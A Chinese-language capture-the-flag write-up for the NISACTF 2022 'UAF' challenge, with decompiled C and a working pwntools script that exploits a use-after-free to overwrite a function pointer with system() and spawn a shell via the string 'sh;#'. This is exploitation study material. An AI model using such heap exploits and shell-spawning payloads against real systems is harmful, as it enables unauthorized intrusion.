[NISACTF 2022]UAF
简单的UAF,注意 shell 语法里的 sh;#
int create()
{
int result; // eax
int v1; // ebx
char *v2; // eax
printf("you are creating the %d page\n", i);
result = i;
if ( i >= 0 )
{
result = i;
if ( i <= 9 )
{
v1 = i;
(&page)[v1] = (char *)malloc(8u); // page[i] = malloc(8)
if ( i )
{
if ( i <= 0 || i > 9 )
{
return puts("NO PAGE");
}
else
{
puts("Good cretation!");
return ++i;
}
}
else
{
v2 = page;
*(_DWORD *)page = 1868654951; // *page[0] = "giao"
v2[4] = 0;
*((_DWORD *)page + 1) = echo; // +0x04 echo函数地址
puts("The init page");
return ++i;
}
}
}
return result;
}
int __cdecl echo(char *s)
{
return puts(s);
}
unsigned int edit()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1); // page[0]不可修改
if ( v1 <= 0 || v1 > i )
{
puts("NO PAGE");
}
else
{
puts("Input your strings");
__isoc99_scanf("%s", (&page)[v1]);
}
return __readgsdword(0x14u) ^ v2;
}
unsigned int del()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > i )
puts("NO PAGE");
else
free((&page)[v1]);
return __readgsdword(0x14u) ^ v2;
}
unsigned int show()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
puts("Input page");
__isoc99_scanf("%d", &v1);
if ( v1 )
{
if ( v1 <= 0 || v1 > i )
puts("NO PAGE");
else
echo((&page)[v1]);
}
else
{
(*((void (__cdecl **)(char *))page + 1))(page);
}
return __readgsdword(0x14u) ^ v2;
}
思路很清晰了,先创建 page[0] ,再创建 page[1] 隔绝 page[0] 和 top chunk ,接下来释放 page[0] ,我们发现, i 只增不减,因此我们可以再次创建一个 page 即为 page[2] ,而此时, page[2] = page[0] ,也就是说,我们可以通过修改 page[2] 来修改 page[0]
由 show() 函数可知,可以将 *page + 1 改为 system 函数地址,再将 page 内容修改为 sh;# ,即可get shell
from pwn import *
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'debug'
# elf = ELF()
# libc = ELF()
# io = process('./pwn')
io = remote("node4.anna.nssctf.cn",24538)
# io = gdb.debug('./pwn', gdbscript='set pagination off\nb *0x08048588\nc')
def create():
io.recvuntil(b":")
io.sendline(b"1")
def edit(i,data):
io.recvuntil(b":")
io.sendline(b"2")
io.recvuntil(b"Input page\n")
io.sendline(str(i).encode())
io.recvuntil(b"Input your strings\n")
io.sendline(data)
def delete(i):
io.recvuntil(b":")
io.sendline(b"3")
io.recvuntil(b"Input page\n")
io.sendline(str(i).encode())
def show(i):
io.recvuntil(b":")
io.sendline(b"4")
io.recvuntil(b"Input page\n")
io.sendline(str(i).encode())
create()
create()
delete(0)
create()
edit(2, b"sh;#" + p32(0x080484E0))
# edit(2, b"sh\x00\x00" + p32(0x080484E0))
show(0)
io.interactive()
这里讲一下,由于修改后, show(0) 时调用 system(page[0]); ,那么对于 system 来说, p32(0x080484E0) 是乱码,因此我们需要使用 # 表示从这里到行尾都是注释,所以后面的地址字节不会作为命令继续解析